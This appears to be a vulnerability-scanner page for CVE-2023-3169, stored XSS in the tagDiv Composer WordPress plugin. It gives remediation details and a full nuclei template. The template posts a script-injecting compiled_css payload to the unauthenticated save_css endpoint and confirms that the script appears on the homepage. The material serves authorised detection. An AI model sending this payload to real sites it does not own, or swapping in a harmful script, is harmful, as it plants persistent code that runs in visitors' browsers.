CVE-2023-3169· tagdiv / tagdiv composer· CWE-79
tagDiv Composer < 4.2 - Stored Cross-Site Scripting
tagDiv Composer plugin versions before 4.2 for WordPress are vulnerable to unauthenticated stored XSS via the /wp-json/tdw/save_css endpoint. An attacker can inject malicious JavaScript code through the compiled_css parameter, which gets stored and executed when the CSS is loaded.
Impact
Unauthenticated attackers can inject malicious JavaScript through the compiled_css parameter which gets stored and executed when the CSS is loaded, potentially compromising all visitors to the WordPress site.
Fix
Update tagDiv Composer plugin to version 4.2 or later that properly validates and sanitizes CSS input from the save_css endpoint and requires authentication.
How to confirm it
Send: POST /wp-json/tdw/save_css
Positive when: len(body) == 0 or status_code == 200 or contains(content_type, "application/json")
Send: GET /
Positive when: contains "tdw-css-placeholder\"></style><script>console.log({{string}}…" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-3169 -u <target>
The full check
id: CVE-2023-3169
info:
name: tagDiv Composer < 4.2 - Stored Cross-Site Scripting
author: ritikchaddha
severity: high
description: |
tagDiv Composer plugin versions before 4.2 for WordPress are vulnerable to unauthenticated stored XSS via the /wp-json/tdw/save_css endpoint. An attacker can inject malicious JavaScript code through the compiled_css parameter, which gets stored and executed when the CSS is loaded.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the compiled_css parameter which gets stored and executed when the CSS is loaded, potentially compromising all visitors to the WordPress site.
remediation: |
Update tagDiv Composer plugin to version 4.2 or later that properly validates and sanitizes CSS input from the save_css endpoint and requires authentication.
reference:
- https://wpscan.com/vulnerability/e6d8216d-ace4-48ba-afca-74da0dc5abb5
- https://nvd.nist.gov/vuln/detail/CVE-2023-3169
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-3169
epss-score: 0.01217
epss-percentile: 0.68862
cwe-id: CWE-79
cpe: cpe:2.3:a:tagdiv:tagdiv_composer:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: tagdiv
product: tagdiv_composer
fofa-query: body="/wp-content/plugins/td-composer"
tags: cve,cve2023,wordpress,wp-plugin,wp,xss,td-composer,tagdiv,intrusive,vkev,vuln
variables:
string: "{{rand_text_numeric(13)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-json/tdw/save_css HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
compiled_css=%3C%2Fstyle%3E<script>console.log({{string}})</script>%3Cstyle%3E
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'len(body) == 0'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'tdw-css-placeholder"></style><script>console.log({{string}})</script>'
- type: word
part: content_type
words:
- 'text/html'
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/e6d8216d-ace4-48ba-afca-74da0dc5abb5
- https://nvd.nist.gov/vuln/detail/CVE-2023-3169
Use this check only on systems you are authorised to test. Where the data comes from